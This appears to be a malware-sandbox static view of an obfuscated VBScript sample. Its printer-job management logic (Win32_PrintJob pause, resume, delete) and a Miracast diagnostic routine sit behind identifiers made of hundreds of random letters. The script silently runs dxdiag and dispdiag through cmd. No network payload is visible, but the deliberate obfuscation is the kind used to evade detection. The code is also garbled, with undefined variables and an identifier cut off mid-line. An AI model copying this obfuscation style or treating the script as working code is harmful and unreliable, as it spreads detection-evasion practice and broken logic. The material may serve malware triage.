Static | ZeroBOX

function LxVxJluKDQTuOKCMJKKvzZmCaqJjaujigKYAHgtPygUTyfxPXJRxxZozfVlEpmYOBpwVQHgZSJgxwNexQphYleUtwNbzAvyDlylVNfqaQYdKtRLUJPqBpASQUxcVKTQZVjHRYEKaSsmiKoLyDqxWwZerEKPPlAmZKxIPRaXvwGOqImgHniXDRlbbnWZmheqFsMhszNjY(qVXsSaMPysDxeUXGlAKUtOrmxlGmDCxPSOLidJaBXKURoxFUWYdHOzFaaparlxRLgUijtMEQyHshJCDpiZAMgdcjBOtdUoktmsLRojtEbKgvAjocALZPnbmQIxNrCZcHQYxtmlyzafrvObjmLIFNCWiNGUYjeyyJiBmQkpXWKmAKrHDkWKBumtZyWoNSsHEUmpsizsOX, fpGsKwUhYlEGTVOKNZefxHLFLPmIiHSWduQxJKcUZzvvEGoGmYsmdibtODIDSdlOFjgnGKJajGaHFEugZUDxnUXbrDVGnOsgAJBnFamGLHWfvtlYvalvzdZMZIFkDMAyQDgzmITyiZUtdkGxVQeaDypJLyphIVIkmhjJmfOgnOQUVqsxGJauOBkNZwKHDWjAvWovlUHv, FtvefyyCGJZkBgVfEdhARjXnRAmANtNyIrYvAPNGDQWTvahruSGDMwUwJbGMAhNYMmPXcZLAXiuOOdCpVvHPSFmOwFvKFXzpXgqtfZEvDmtnguNgSXdxmmhzIuBjEneawtWARjKgSUxcsqGsswEpRTKQLGwQSjJcxjYdtDCpGBTzHsNyIOzKaCCYFUNYOdCiOEDjWATk, frtBUUlUSbxFPmEmyZzRqhUtCSmSrfZzPZDDWYEgvEuemAFxsSryiDHpjIqMXUdcHNDgLJJlrAfENtSWibZQaeYSVgtCyQvqIbvZPXDlYqvvSGuYJdAFvigwROEoZwaMHxPKnBpXfFobfeHOngyqUpQuaowwPDcNNIbXkvfaYCWwzzjhFpLQbpCGgxfGlsIInPkavFan, rNvhMD

on error resume next

uHeieGUDKSvtAWekoZjPpCsQXDOxHutmBlGzLioSOqRAmhndsnPBBToQDlESqyGPrxrkNBmCEJeqAkgcmbJkJRhJRgDrxvGbedfVUjGbhDiLhDzGbtyexgMmMsMoCgykPzYYWpUDvjRGfsPQlrrHZIzIkbQTjHOwwalZqBTOIaFhCMTrLcCMPKIUXYmjJxUcmyFAhkft LOXpVeFVTuSrYPJNEiNpjkVcomyRqDKZlhAQKALIJXoggvMETwgnFMheCbFGsBOrAhmDoiEppacaKEsQrSjUpTCPVRNdTkGWCnuGTEdfMaPdcuYKQJNkfHTaUXGsnvHgYzewoAIznpmBSywLFfpAFToevThWuzUYWxTZPrIMSWjbbDkgDBsuidsNlpGAQJYTigBkqGpC, mNVtXQKagDNvRdGiumGmmdTgGjzJjKRbYqipZTmSNxFZEtKDqlXZIxpjjOsdSSdAffbgWzOWgvVDqiqFwLjvaZTwJMPtuBIniKWGaDHcciuhowPiWWkoWgTQfZFUUSHYUocKIRsgWVUgpXxWyrUtwcIseLKnlhnOIXeLHLUOtuUfLpMGYSAtBZECDwpHwhOQUimQfiQe

dim jwSuaLjTvehwcVwABfTbOMfWOuZKddAvkRgYmJGTMGHkietcgmKCTuyJDXsqpjhDzaopJLZVFTtvypvVtzDpnefRCLJBZTzMiqMalDKIdLziXdxpDHPqEuJacPrylCoQozZcULTXnQgTGAOvgRytYTkaLKQiZxWxGwlZrXHXLuIgWRYIGjawElWFtaCThRPsCwuKuggO

dim wlEtuppmAAPRBMFHbTGYdzuFUfnJwEmTHuUUfFbIeMcIyibKwfJhTSBUaPZJlIzuTcyPDYrsexnQdPPMqqHSqXdgisYnXKrRnBHHyFLrBAsYdOwBSLPFMksZQofaCWRBdlFxwitZhInEdZJLSqxaAsNQkUAJrdPlnFOXhYtiLVJEefOmHtYIEBexhSwIZawzUmccTCAL

dim KlYCiISPQoDjRjEOLloVJUtankWYqNCMwYBrDTXhTPZHpzTbQqsyhHTvdKlYxpAqJJGilYvfxZHYXrgnkbOnEHHyUloELdArnOtdRcbdyxEeRYqKuWLhuDgZvKSPbixnDbrNIooVBTUUWAqaUwgFsAugrrvRUsbkxBiCvsAQUGxKzwssZVRNvBjBawjxxXhYHlfMQvcj

dim ccugBiZJUsiwLQbiffvmeDerMhRktgcIGFAHBrlYPJKIMdiucitmLYeCBxazaqJXBvaRRWKEPuctTUxQduQKcgdnrtrZEyjdtfsjIkQZXFKHxcloSxKVhiyoTsOdpQVUhOftkZrVBFcTnRjxtnevbsXBPBfLikCnoDzzGOSyCjrRknEwIOdCnoqDuYkzLlLhIYcDmjPy

dim wajrDOtZCkMqBQWtfpgzGzoSjmOAAVGFOpoBqYoljWJcVWUcigmaTkBTOyOYwCGtzPpmahJcnruhTTRzgNnojEwmIUdeVCCXRDbFdoRIXTYVHDUPlgkgDKGlBhqjNpaWjzcvFezeabcinZzdHutjBmKgoQBrFHVImMWVHvLMtDayYMiKqoCzFBCzqJaPfJzBKmsUdSrf

wajrDOtZCkMqBQWtfpgzGzoSjmOAAVGFOpoBqYoljWJcVWUcigmaTkBTOyOYwCGtzPpmahJcnruhTTRzgNnojEwmIUdeVCCXRDbFdoRIXTYVHDUPlgkgDKGlBhqjNpaWjzcvFezeabcinZzdHutjBmKgoQBrFHVImMWVHvLMtDayYMiKqoCzFBCzqJaPfJzBKmsUdSrf = FtvefyyCGJZkBgVfEdhARjXnRAmANtNyIrYvAPNGDQWTvahruSGDMwUwJbGMAhNYMmPXcZLAXiuOOdCpVvHPSFmOwFvKFXzpXgqtfZEvDmtnguNgSXdxmmhzIuBjEneawtWARjKgSUxcsqGsswEpRTKQLGwQSjJcxjYdtDCpGBTzHsNyIOzKaCCYFUNYOdCiOEDjWATk & ", " & fpGsKwUhYlEGTVOKNZefxHLFLPmIiHSWduQxJKcUZzvvEGoGmYsmdibtODIDSdlOFjgnGKJajGaHFEugZUDxnUXbrDVGnOsgAJBnFamGLHWfvtlYvalvzdZMZIFkDMAyQDgzmITyiZUtdkGxVQeaDypJLyphIVIkmhjJmfOgnOQUVqsxGJauOBkNZwKHDWjAvWovlUHv

KlYCiISPQoDjRjEOLloVJUtankWYqNCMwYBrDTXhTPZHpzTbQqsyhHTvdKlYxpAqJJGilYvfxZHYXrgnkbOnEHHyUloELdArnOtdRcbdyxEeRYqKuWLhuDgZvKSPbixnDbrNIooVBTUUWAqaUwgFsAugrrvRUsbkxBiCvsAQUGxKzwssZVRNvBjBawjxxXhYHlfMQvcj = NYrgVYlBAeKLnzvOzMDSFXWRrqaXOJXmmOQbeWITXZLwiPtduSsHnqlyQFqIdxIEzINnUSdhfDkYvRolOXLvpaNoOHDeikFxteCDKBibLhNCXUjMwRLBGrmjsBjlKEiCYUVUmysOWyHoQPHCttTAjFTrOaNtOqlQTYRQzVOKquEgxuMFmttjEKBpExrEXELhCsjdFIiV

if htiIsrHrxEyIxfgwWDotjqLyrKrAQQbmWOSJjnmDTdHpDxIPmhAxqNXSZXKSuAfqXnyIrokNHlFKXGuJuGOmzvsmQmmbiYvDebFNBaHnXfrgGXXcwRvCLRpnurgVqwkNLiVfvkaNYLFGlFmYOnMYRBWNJWUYHolAXCSXEIDsQpMjPVySDmdQoCEcABrAVXQMqxkCgmPw(qVXsSaMPysDxeUXGlAKUtOrmxlGmDCxPSOLidJaBXKURoxFUWYdHOzFaaparlxRLgUijtMEQyHshJCDpiZAMgdcjBOtdUoktmsLRojtEbKgvAjocALZPnbmQIxNrCZcHQYxtmlyzafrvObjmLIFNCWiNGUYjeyyJiBmQkpXWKmAKrHDkWKBumtZyWoNSsHEUmpsizsOX, KpDdgcFJdgnzMAzyFFXmUDZBCMPsTStoxxBaJEWhhkdoMsbkMhPIBROOboEnKNFHszMKGUGYGmDAaQNZvugNiWwUMAApZIQSHFHZFakYnSBOjPXFPrgBIGXbfrMCrXtclfkGGxFZhxQqPzpJYYPNncpOISZggCiKFDfzeOuniPKMcTGoGrYhIxkUpfsTaTfqLSbOfXkn, frtBUUlUSbxFPmEmyZzRqhUtCSmSrfZzPZDDWYEgvEuemAFxsSryiDHpjIqMXUdcHNDgLJJlrAfENtSWibZQaeYSVgtCyQvqIbvZPXDlYqvvSGuYJdAFvigwROEoZwaMHxPKnBpXfFobfeHOngyqUpQuaowwPDcNNIbXkvfaYCWwzzjhFpLQbpCGgxfGlsIInPkavFan, rNvhMDHhYcXmsCQZAKuSWqGPtViYtbmMIaDhddIKqHMDhuiXlBatyPzlmYZSNSZFTpasLLRYGMepTbvYbxJqqvrKEFwVYDTgJePzmiUqOTCTsmKxpiiLjkXiQmbbCKahxTPxPCrxMMcUpUxqFdULzDsPLHlusnailjNLAobcMNjATSrvXNDXsnfrvBkoPkTqUyhZLaOH, wlEtuppm

set jwSuaLjTvehwcVwABfTbOMfWOuZKddAvkRgYmJGTMGHkietcgmKCTuyJDXsqpjhDzaopJLZVFTtvypvVtzDpnefRCLJBZTzMiqMalDKIdLziXdxpDHPqEuJacPrylCoQozZcULTXnQgTGAOvgRytYTkaLKQiZxWxGwlZrXHXLuIgWRYIGjawElWFtaCThRPsCwuKuggO = wlEtuppmAAPRBMFHbTGYdzuFUfnJwEmTHuUUfFbIeMcIyibKwfJhTSBUaPZJlIzuTcyPDYrsexnQdPPMqqHSqXdgisYnXKrRnBHHyFLrBAsYdOwBSLPFMksZQofaCWRBdlFxwitZhInEdZJLSqxaAsNQkUAJrdPlnFOXhYtiLVJEefOmHtYIEBexhSwIZawzUmccTCAL.Get("Win32_PrintJob.Name='" & wajrDOtZCkMqBQWtfpgzGzoSjmOAAVGFOpoBqYoljWJcVWUcigmaTkBTOyOYwCGtzPpmahJcnruhTTRzgNnojEwmIUdeVCCXRDbFdoRIXTYVHDUPlgkgDKGlBhqjNpaWjzcvFezeabcinZzdHutjBmKgoQBrFHVImMWVHvLMtDayYMiKqoCzFBCzqJaPfJzBKmsUdSrf & "'")

else

LxVxJluKDQTuOKCMJKKvzZmCaqJjaujigKYAHgtPygUTyfxPXJRxxZozfVlEpmYOBpwVQHgZSJgxwNexQphYleUtwNbzAvyDlylVNfqaQYdKtRLUJPqBpASQUxcVKTQZVjHRYEKaSsmiKoLyDqxWwZerEKPPlAmZKxIPRaXvwGOqImgHniXDRlbbnWZmheqFsMhszNjY = NYrgVYlBAeKLnzvOzMDSFXWRrqaXOJXmmOQbeWITXZLwiPtduSsHnqlyQFqIdxIEzINnUSdhfDkYvRolOXLvpaNoOHDeikFxteCDKBibLhNCXUjMwRLBGrmjsBjlKEiCYUVUmysOWyHoQPHCttTAjFTrOaNtOqlQTYRQzVOKquEgxuMFmttjEKBpExrEXELhCsjdFIiV

exit function

end if

if jSrZRsJWztOObvHqUyqvQTilJATYXVkzgolYRvMhirxLVvxtlPzoNpQsUPhVbVhJwSDNhISRBtjJEtayKhDAUGveoqqkvHTmNSzWqUXMMfFMmqyoPjzUYaZUYznFSJOWYsDmEgHQUTOnQXyUzfKfJpaxLPKoGLZfckDYCtegfmtiJZHDqokfBeazDuCBeAKvocHlhWIf.PrRiyFcdgBpKBRUOmVExTiFFscElMIayuAtNhauYxsEUrPeFspeBbETrNQEnlIMoqFKsuEyYSFsScoyeUShatlOujSQflBktXatWCzpkCmzpbELDeEsFHfxBulkdIQesnPLqKMQaaHbMFHlWUmujCKmkbRnoQBNoorEVYRzsroVZaETNWKAOeXHeRrkCaacMutCNBgCo = AfPtWERuzSRLirtGYbhezFjjMDVlHAapFkrSHgvqNkHlHKOXOoPIQaQfogNELSswxADTJTzLWmfoPARrvDXMXZkgWUeQQldLiuhmiYNYCKXvnvShREuTwPBvsSBUzheZukWGgmesXNYJnrdSbicsEWpkGQssdrPNVtKXMDhafOoxElYVosfWJLoiVBWnZBsiGIdJOMHV then

ccugBiZJUsiwLQbiffvmeDerMhRktgcIGFAHBrlYPJKIMdiucitmLYeCBxazaqJXBvaRRWKEPuctTUxQduQKcgdnrtrZEyjdtfsjIkQZXFKHxcloSxKVhiyoTsOdpQVUhOftkZrVBFcTnRjxtnevbsXBPBfLikCnoDzzGOSyCjrRknEwIOdCnoqDuYkzLlLhIYcDmjPy = AfPtWERuzSRLirtGYbhezFjjMDVlHAapFkrSHgvqNkHlHKOXOoPIQaQfogNELSswxADTJTzLWmfoPARrvDXMXZkgWUeQQldLiuhmiYNYCKXvnvShREuTwPBvsSBUzheZukWGgmesXNYJnrdSbicsEWpkGQssdrPNVtKXMDhafOoxElYVosfWJLoiVBWnZBsiGIdJOMHV

select case EVQwPwDTKDvNzjJstONqlOmLSWrnYLNxzIvmtcphfMYvwfEajpSgRDSkTUFwMWKpQEiGbOrfdTvoxSUsmLVrgEdMedGhuZjtQijbnLqoyDuktpPhOERiXqLfXYUiMxhauAnESwWEjLUntTxaOlTpxqbGPkhzrVOFUrTgxohovIeYWqUBqeJOsxYNVQXYtdGyuijHyhic

case MqzkptKVebsqbHlGhTIVXToNMeaJwmlDJUSKvuzIqMaNSmtrCGRLLBIukfAjqqzffKvxRFhWfeuKaTOaaYlZZqirTmQBypfwkuMjSvSgPhhzeZoGXdtulOoDOZoQpXYmLcsssHfBYcKpcDsWzMyJMZVlcmRXcWJHQvpEnYPxAmxahuhRSkZYpocglfqKorkmJrchriGV

ccugBiZJUsiwLQbiffvmeDerMhRktgcIGFAHBrlYPJKIMdiucitmLYeCBxazaqJXBvaRRWKEPuctTUxQduQKcgdnrtrZEyjdtfsjIkQZXFKHxcloSxKVhiyoTsOdpQVUhOftkZrVBFcTnRjxtnevbsXBPBfLikCnoDzzGOSyCjrRknEwIOdCnoqDuYkzLlLhIYcDmjPy = jwSuaLjTvehwcVwABfTbOMfWOuZKddAvkRgYmJGTMGHkietcgmKCTuyJDXsqpjhDzaopJLZVFTtvypvVtzDpnefRCLJBZTzMiqMalDKIdLziXdxpDHPqEuJacPrylCoQozZcULTXnQgTGAOvgRytYTkaLKQiZxWxGwlZrXHXLuIgWRYIGjawElWFtaCThRPsCwuKuggO.Pause()

case FSykPbyAEMhURCfeWfULhnGtIcJbkGqANXHluoybhRMSqAFgtMWUoJkwjPsohqpMItHbgrQoOAzdxxvdYLtIhkdwLhBgonXYVDniBQGUDlQjWewPVYjWfCyLADTsvqrHXkLbsbWkixyJJCrXvRQSCRpZJlnceVTEyRcgHrpOBFqIZHKLdYOXOKwBrhgZxUSshMnPeiUl

ccugBiZJUsiwLQbiffvmeDerMhRktgcIGFAHBrlYPJKIMdiucitmLYeCBxazaqJXBvaRRWKEPuctTUxQduQKcgdnrtrZEyjdtfsjIkQZXFKHxcloSxKVhiyoTsOdpQVUhOftkZrVBFcTnRjxtnevbsXBPBfLikCnoDzzGOSyCjrRknEwIOdCnoqDuYkzLlLhIYcDmjPy = jwSuaLjTvehwcVwABfTbOMfWOuZKddAvkRgYmJGTMGHkietcgmKCTuyJDXsqpjhDzaopJLZVFTtvypvVtzDpnefRCLJBZTzMiqMalDKIdLziXdxpDHPqEuJacPrylCoQozZcULTXnQgTGAOvgRytYTkaLKQiZxWxGwlZrXHXLuIgWRYIGjawElWFtaCThRPsCwuKuggO.Resume()

case prTVGFVsmVnMLlsjgCAnqhjIPhPlGpXiBDpqyIXteJPIswHTfrJmZdFNvbmSyAtHjvapxCemEPfHgepglCpoBRDpXtPlHsLzCLsrtPoUIAvebjvTNAjjBSBqBURNCrmuQFDbRvdtIRrSVtfpIOmYGSheXLHQMjFFIklwihQdOveVTJaxdkkRlxzQRVmXwYOWrFPpYmmB

jwSuaLjTvehwcVwABfTbOMfWOuZKddAvkRgYmJGTMGHkietcgmKCTuyJDXsqpjhDzaopJLZVFTtvypvVtzDpnefRCLJBZTzMiqMalDKIdLziXdxpDHPqEuJacPrylCoQozZcULTXnQgTGAOvgRytYTkaLKQiZxWxGwlZrXHXLuIgWRYIGjawElWFtaCThRPsCwuKuggO.Delete_()

case else

wwcGxELpUeWNAJKVDkQOmORULUmyIvrcqeiKfYxMrZMTQvhdxsivuMYNEAVdfeQLFYlfjKPhmtxwuNTjRXdsCCnypwsKkeGyrTTkzXpMGuRQTGJEJDZVgaOyNAAfKrJOdgYBcwjRlrKhbbVPJFokBEZYWxODIiYyfjcjnFTOxpPLIpgOHzBAJYBNDeaaJPEqPvCNySfA(true)

end select

if ccugBiZJUsiwLQbiffvmeDerMhRktgcIGFAHBrlYPJKIMdiucitmLYeCBxazaqJXBvaRRWKEPuctTUxQduQKcgdnrtrZEyjdtfsjIkQZXFKHxcloSxKVhiyoTsOdpQVUhOftkZrVBFcTnRjxtnevbsXBPBfLikCnoDzzGOSyCjrRknEwIOdCnoqDuYkzLlLhIYcDmjPy = AfPtWERuzSRLirtGYbhezFjjMDVlHAapFkrSHgvqNkHlHKOXOoPIQaQfogNELSswxADTJTzLWmfoPARrvDXMXZkgWUeQQldLiuhmiYNYCKXvnvShREuTwPBvsSBUzheZukWGgmesXNYJnrdSbicsEWpkGQssdrPNVtKXMDhafOoxElYVosfWJLoiVBWnZBsiGIdJOMHV then

wscript.echo wrhVlcMGcRQdsqgUMrFJkEnmFjKAwzvmxatLRrSGEQCwOjCaVXqrOItgqljXYjRYuNkknSlIlrICitemKVecNdmSpqlqDfumyILstqgDACyatJNIhZVgudeEtRpzFhMFGgEiWWNLhNUfFaKITqWUtVZvHtYnqwxXahnTPsVmVunKhSFYkHROWnBUhslCdKJyTAqOjxsY & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & EVQwPwDTKDvNzjJstONqlOmLSWrnYLNxzIvmtcphfMYvwfEajpSgRDSkTUFwMWKpQEiGbOrfdTvoxSUsmLVrgEdMedGhuZjtQijbnLqoyDuktpPhOERiXqLfXYUiMxhauAnESwWEjLUntTxaOlTpxqbGPkhzrVOFUrTgxohovIeYWqUBqeJOsxYNVQXYtdGyuijHyhic & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI _

& iINcU & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & fpGsKwUhYlEGTVOKNZefxHLFLPmIiHSWduQxJKcUZzvvEGoGmYsmdibtODIDSdlOFjgnGKJajGaHFEugZUDxnUXbrDVGnOsgAJBnFamGLHWfvtlYvalvzdZMZIFkDMAyQDgzmITyiZUtdkGxVQeaDypJLyphIVIkmhjJmfOgnOQUVqsxGJauOBkNZwKHDWjAvWovlUHv _

& ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & tNOKtkjmbxozmdZtBcvlKjvyjylIjuxoCUxwDpOXvDOTmHYmARdVdkoGWYVrkcnkBZNKPxvjAFsrLgHAEwIrwWQbnpPuMzaDOuzwLvCVssPsCzvpjQWPaZXzSZLvwVZJAWuxcJQoVczGpfhQbztGhGJjVIYmwBOHnDStsJzfiScaAXHKduoMPijuaVrPjcwGtLEKOjGY & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & FtvefyyCGJZkBgVfEdhARjXnRAmANtNyIrYvAPNGDQWTvahruSGDMwUwJbGMAhNYMmPXcZLAXiuOOdCpVvHPSFmOwFvKFXzpXgqtfZEvDmtnguNgSXdxmmhzIuBjEneawtWARjKgSUxcsqGsswEpRTKQLGwQSjJcxjYdtDCpGBTzHsNyIOzKaCCYFUNYOdCiOEDjWATk

KlYCiISPQoDjRjEOLloVJUtankWYqNCMwYBrDTXhTPZHpzTbQqsyhHTvdKlYxpAqJJGilYvfxZHYXrgnkbOnEHHyUloELdArnOtdRcbdyxEeRYqKuWLhuDgZvKSPbixnDbrNIooVBTUUWAqaUwgFsAugrrvRUsbkxBiCvsAQUGxKzwssZVRNvBjBawjxxXhYHlfMQvcj = AfPtWERuzSRLirtGYbhezFjjMDVlHAapFkrSHgvqNkHlHKOXOoPIQaQfogNELSswxADTJTzLWmfoPARrvDXMXZkgWUeQQldLiuhmiYNYCKXvnvShREuTwPBvsSBUzheZukWGgmesXNYJnrdSbicsEWpkGQssdrPNVtKXMDhafOoxElYVosfWJLoiVBWnZBsiGIdJOMHV

else

wscript.echo ZEXUvtYItXJvtahdaXcWRIrpbnBbQNesMeglFvkAiXeuAeubtCthiYTWLqyADwjqPECDfFBQvdHWeqxeMtzhNMylcTsADbRRgpRwMqXQExytppOmJiJADdwizhgoauHQmXaVXtKcekndkegxyGxUaWbGMzadcOHWvLtYasXnJHYRInvGhssHAMFvuATbJPZZpbXnVHww & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & EVQwPwDTKDvNzjJstONqlOmLSWrnYLNxzIvmtcphfMYvwfEajpSgRDSkTUFwMWKpQEiGbOrfdTvoxSUsmLVrgEdMedGhuZjtQijbnLqoyDuktpPhOERiXqLfXYUiMxhauAnESwWEjLUntTxaOlTpxqbGPkhzrVOFUrTgxohovIeYWqUBqeJOsxYNVQXYtdGyuijHyhic & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI _

& amDTghcRXmugyMIwcYmMHQfTQzjyNltMtqcSbmzQoQoeNbutueSEvXHLZhwdnDaxGsEYBYAbCwjZUYZnlEsZwmuvfLYaSgflOvpJxCsHnFeAlXDQKFcEqgujiIIHXBOOldzVAIDSuSvatYgfFMKnnZeapRPytXnYFfqoWhqTaFASOiVjFrQDohmDlxVhGdjHMmMhaPUz & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & ccugBiZJUsiwLQbiffvmeDerMhRktgcIGFAHBrlYPJKIMdiucitmLYeCBxazaqJXBvaRRWKEPuctTUxQduQKcgdnrtrZEyjdtfsjIkQZXFKHxcloSxKVhiyoTsOdpQVUhOftkZrVBFcTnRjxtnevbsXBPBfLikCnoDzzGOSyCjrRknEwIOdCnoqDuYkzLlLhIYcDmjPy

end if

else

wscript.echo svakNwEfARdVgOVHvRllBykWjUhkyLcNQKwwVsEHlvonAQDadaBXhWukvhJpNSzhOjDtWKTnRnLmFvjUcenQxnKHncZriECzhdPqgpeXrMatCQWUZagDyWFSFMhSxxXUvOEOZVvCpgzxbVJbqNpZTZiUtrYVNiiALXwINTwMqSDuGgaTaiGRQWneGDLahnBHLWURqTtV & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & VqTJosIEOKDanEhGegrSmGZIoflGPnANtiELPNktAJvhtGsYSnvsEcuTeJdsSPBoMfgpPMkBHOyXaGJeJnDONCKuKUeiPRnQyNugXBekNzVhMSkxSBHRysXbyMhDSCcVFwWXDFUMfVcAZsCNTUWVpOgqQHRfTcIfvnMXFiqAZNwUekYpydkYMWpKqGFCYfyghZZRjHoF & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI _

& SyPmTsfVgDJdMzIxIFISmfzdmiczNwrErQdmuVmJoSMJkNlcJGdTnUtNFIpmWlgnfmYnKVNzSNMotvWlwnQJqEaVXFEMcnUKpHcqWqKnCipPjztURzcENePGLZYzKiXrdSzgkEgAPgikqoUcccKEwvnZQQRGweYfFshwRTTmVuiXIlgzUKkTfJHvGkAcRigWioKbUlqu & hex(jSrZRsJWztOObvHqUyqvQTilJATYXVkzgolYRvMhirxLVvxtlPzoNpQsUPhVbVhJwSDNhISRBtjJEtayKhDAUGveoqqkvHTmNSzWqUXMMfFMmqyoPjzUYaZUYznFSJOWYsDmEgHQUTOnQXyUzfKfJpaxLPKoGLZfckDYCtegfmtiJZHDqokfBeazDuCBeAKvocHlhWIf.PrRiyFcdgBpKBRUOmVExTiFFscElMIayuAtNhauYxsEUrPeFspeBbETrNQEnlIMoqFKsuEyYSFsScoyeUShatlOujSQflBktXatWCzpkCmzpbELDeEsFHfxBulkdIQesnPLqKMQaaHbMFHlWUmujCKmkbRnoQBNoorEVYRzsroVZaETNWKAOeXHeRrkCaacMutCNBgCo) & ZpyGNKbfevFGAvDAFJjuTCdirNcBoOGZGOmFThzYHPnGFHfWmmLhDVWXNbKYvQcFWhZpuRQfoKkiShxExmZbxKNehkyWEQPwDnKxDuHUNQWWRDxbKzzOUTSygUBqzJTcStHFTKOsiTZehRtQhMZrFNhGKUekjCMQOfFynhhKWNRRztlqtGyBmBirQgVQwfvizVCfivaI & jSrZRsJWztOObvHqUyqvQTilJATYXVkzgolYRvMhirxLVvxtlPzoNpQsUPhVbVhJwSDNhISRBtjJEtayKhDAUGveoqqkvHTmNSzWqUXMMfFMmqyoPjzUYaZUYznFSJOWYsDmEgHQUTOnQXyUzfKfJpaxLPKoGLZfckDYCtegfmtiJZHDqokfBe

call InPLyuXvUhISHOMiHvcaKdtBxKSDZWwBLeCIuuaMzGLPNvdMPGFkvmiDvqarXSErLcuRQNovOyTcjiBsYIiEiFfvFxQqoPyCqWMTRVMRbZCQMcORjbzPWrSIOWmoPZbuRyioppsSGpkjajjzSPkWnDboUsBZpWJIzWUtbzUrHTyeIdOMwOdLccIzofGzEBughJiySlTd()

end if

else

end if

LxVxJluKDQTuOKCMJKKvzZmCaqJjaujigKYAHgtPygUTyfxPXJRxxZozfVlEpmYOBpwVQHgZSJgxwNexQphYleUtwNbzAvyDlylVNfqaQYdKtRLUJPqBpASQUxcVKTQZVjHRYEKaSsmiKoLyDqxWwZerEKPPlAmZKxIPRaXvwGOqImgHniXDRlbbnWZmheqFsMhszNjY = KlYCiISPQoDjRjEOLloVJUtankWYqNCMwYBrDTXhTPZHpzTbQqsyhHTvdKlYxpAqJJGilYvfxZHYXrgnkbOnEHHyUloELdArnOtdRcbdyxEeRYqKuWLhuDgZvKSPbixnDbrNIooVBTUUWAqaUwgFsAugrrvRUsbkxBiCvsAQUGxKzwssZVRNvBjBawjxxXhYHlfMQvcj

end function

Sub GetMiracastInfo(outputFileName)

On Error Resume Next

Dim MiracastInfoFile

Set MiracastInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

MiracastInfoFile.WriteLine("-------------------------------------")

MiracastInfoFile.WriteLine("-------+ Wireless Display Information +------")

MiracastInfoFile.WriteLine("-------------------------------------")

MiracastInfoFile.Close

Set UttOGZGNUWNUwWGMwZPbyqrWwWhqvJqBJQiWrrPcKOPukvgGtbWfOMGOqXUqptpqLIhDwCBLKgeJWJIWfUWPfDoBMzZgqDyLKxqWwDGwsbQNDbqGOfIkbmkoBevwhDKDsaOdvvNwwUvvRelgycTbgQwWXKnXiJmWcdZhJGyhOQrDoOlKOGolPmaPOOcfAGBrkgWLbGqD = WScript.CreateObject( "WScript.Shell" )

' Write the file with the directx diagnostics

cmd = "cmd /c dxdiag /t dxdiag.txt"

UttOGZGNUWNUwWGMwZPbyqrWwWhqvJqBJQiWrrPcKOPukvgGtbWfOMGOqXUqptpqLIhDwCBLKgeJWJIWfUWPfDoBMzZgqDyLKxqWwDGwsbQNDbqGOfIkbmkoBevwhDKDsaOdvvNwwUvvRelgycTbgQwWXKnXiJmWcdZhJGyhOQrDoOlKOGolPmaPOOcfAGBrkgWLbGqD.Run cmd, 0, True

' Write the file with the dispdiag information

cmd = "cmd /c dispdiag -out dispdiag_stop.dat"

